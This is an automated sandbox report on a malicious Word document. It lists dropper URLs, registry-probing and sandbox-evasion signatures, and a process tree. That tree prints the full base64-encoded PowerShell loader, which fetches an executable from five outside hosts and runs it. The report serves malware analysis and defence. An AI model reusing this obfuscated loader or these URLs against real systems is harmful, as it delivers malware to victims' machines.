Analysis
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max time kernel
30s -
resource
win10v191014 -
submitted
30-01-2020 13:26
Task
task1
Sample
481372f202731e023aa7be587ee7be16039ada6790059f87ea72ff7e81d0d7fb.doc
Resource
win10v191014
0 signatures
General
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Target
481372f202731e023aa7be587ee7be16039ada6790059f87ea72ff7e81d0d7fb.doc
-
Sample
200130-nh27egna7j
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SHA256
481372f202731e023aa7be587ee7be16039ada6790059f87ea72ff7e81d0d7fb
Score
10/10
Malware Config
Extracted
Language
ps1
Source
URLs
exe.dropper
http://srisurena.com/trademark/c553c/
exe.dropper
http://nexsolgen.com/c8tsz30/pzby/
exe.dropper
http://vedanshsoft.com/eqnar/ftoms/
exe.dropper
http://svrealtors.com/billing/p9oa/
exe.dropper
https://wiwidwinar.com/crozjui/jFXJnJp7lD/
Signatures
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Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 4900 WINWORD.EXE -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 4900 WINWORD.EXE -
Process spawned unexpected child process 1 IoCs
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4004 1452 PoWERsheLL.exe 74 -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4004 PoWERsheLL.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 4004 PoWERsheLL.exe -
Executes dropped EXE 1 IoCs
pid Process 1636 894.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\481372f202731e023aa7be587ee7be16039ada6790059f87ea72ff7e81d0d7fb.doc" /o ""1⤵
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Checks processor information in registry
PID:4900
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C:\Windows\System32\WindowsPowerShell\v1.0\PoWERsheLL.exePoWERsheLL -e JABLAGUAYgBtAHcAbwBzAGsAeQB2AG8AZAA9ACcATwBzAGoAZQBjAGkAaQBwACcAOwAkAFIAZABhAHIAZgB6AG4AeABhAGsAbQBiACAAPQAgACcAOAA5ADQAJwA7ACQASABvAHAAcAB4AHAAagB4AGUAeQBoAHYAPQAnAFUAYQBnAGUAZQBjAGMAZQAnADsAJABMAGsAeQBqAG0AdwB2AHkAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFIAZABhAHIAZgB6AG4AeABhAGsAbQBiACsAJwAuAGUAeABlACcAOwAkAEkAYQBoAHkAZABsAHYAZwBjAHMAPQAnAEMAdgBhAGYAZQBmAHEAZQAnADsAJABaAHkAcABwAHAAbQBvAHUAZABiAHEAbAA9ACYAKAAnAG4AJwArACcAZQAnACsAJwB3AC0AbwBiAGoAZQBjAHQAJwApACAAbgBlAFQALgB3AGUAYgBDAEwAaQBFAE4AdAA7ACQARgBiAGcAeAB6AG4AdABsAGEAbwBmAD0AJwBoAHQAdABwADoALwAvAHMAcgBpAHMAdQByAGUAbgBhAC4AYwBvAG0ALwB0AHIAYQBkAGUAbQBhAHIAawAvAGMANQA1ADMAYwAvACoAaAB0AHQAcAA6AC8ALwBuAGUAeABzAG8AbABnAGUAbgAuAGMAbwBtAC8AYwA4AHQAcwB6ADMAMAAvAHAAegBiAHkALwAqAGgAdAB0AHAAOgAvAC8AdgBlAGQAYQBuAHMAaABzAG8AZgB0AC4AYwBvAG0ALwBlAHEAbgBhAHIALwBmAHQAbwBtAHMALwAqAGgAdAB0AHAAOgAvAC8AcwB2AHIAZQBhAGwAdABvAHIAcwAuAGMAbwBtAC8AYgBpAGwAbABpAG4AZwAvAHAAOQBvAGEALwAqAGgAdAB0AHAAcwA6AC8ALwB3AGkAdwBpAGQAdwBpAG4AYQByAC4AYwBvAG0ALwBjAHIAbwB6AGoAdQBpAC8AagBGAFgASgBuAEoAcAA3AGwARAAvACcALgAiAFMAYABQAGwASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAWgBiAGgAaABiAGsAcwB3AHIAYwBjAGcAZwA9ACcASwB0AHQAYwBiAHQAcgBvAHUAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEIAYQBzAHgAcAB6AGgAYgBuAHEAIABpAG4AIAAkAEYAYgBnAHgAegBuAHQAbABhAG8AZgApAHsAdAByAHkAewAkAFoAeQBwAHAAcABtAG8AdQBkAGIAcQBsAC4AIgBEAG8AVwBuAEwAbwBgAEEAYABkAGYAaQBMAGUAIgAoACQAQgBhAHMAeABwAHoAaABiAG4AcQAsACAAJABMAGsAeQBqAG0AdwB2AHkAKQA7ACQARAB6AHgAdwBvAGcAYwBtAGEAZwA9ACcASgBsAG8AZwBhAG0AeAB3AG8AZAB4AHQAbAAnADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQB0AC0ASQB0AGUAbQAnACkAIAAkAEwAawB5AGoAbQB3AHYAeQApAC4AIgBMAEUATgBHAGAAVABoACIAIAAtAGcAZQAgADMANwA0ADgAMAApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAQwBSAEUAYABBAGAAVABlACIAKAAkAEwAawB5AGoAbQB3AHYAeQApADsAJABDAGkAbgBuAGoAcQBnAHMAeQA9ACcAVwBkAHUAdwBjAHQAeABrAHEAbQBuACcAOwBiAHIAZQBhAGsAOwAkAFgAYgB4AGEAYgBlAGsAcgA9ACcASgByAHMAZQBtAHMAZgB2AGgAZgB5AGIAdAAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABWAHoAbwBtAGwAdABwAHMAbAA9ACcAVABmAHIAdQBrAHcAcgBnAGsAJwA=1⤵
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:4004
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C:\Users\Admin\894.exeC:\Users\Admin\894.exe1⤵
- Executes dropped EXE
PID:1636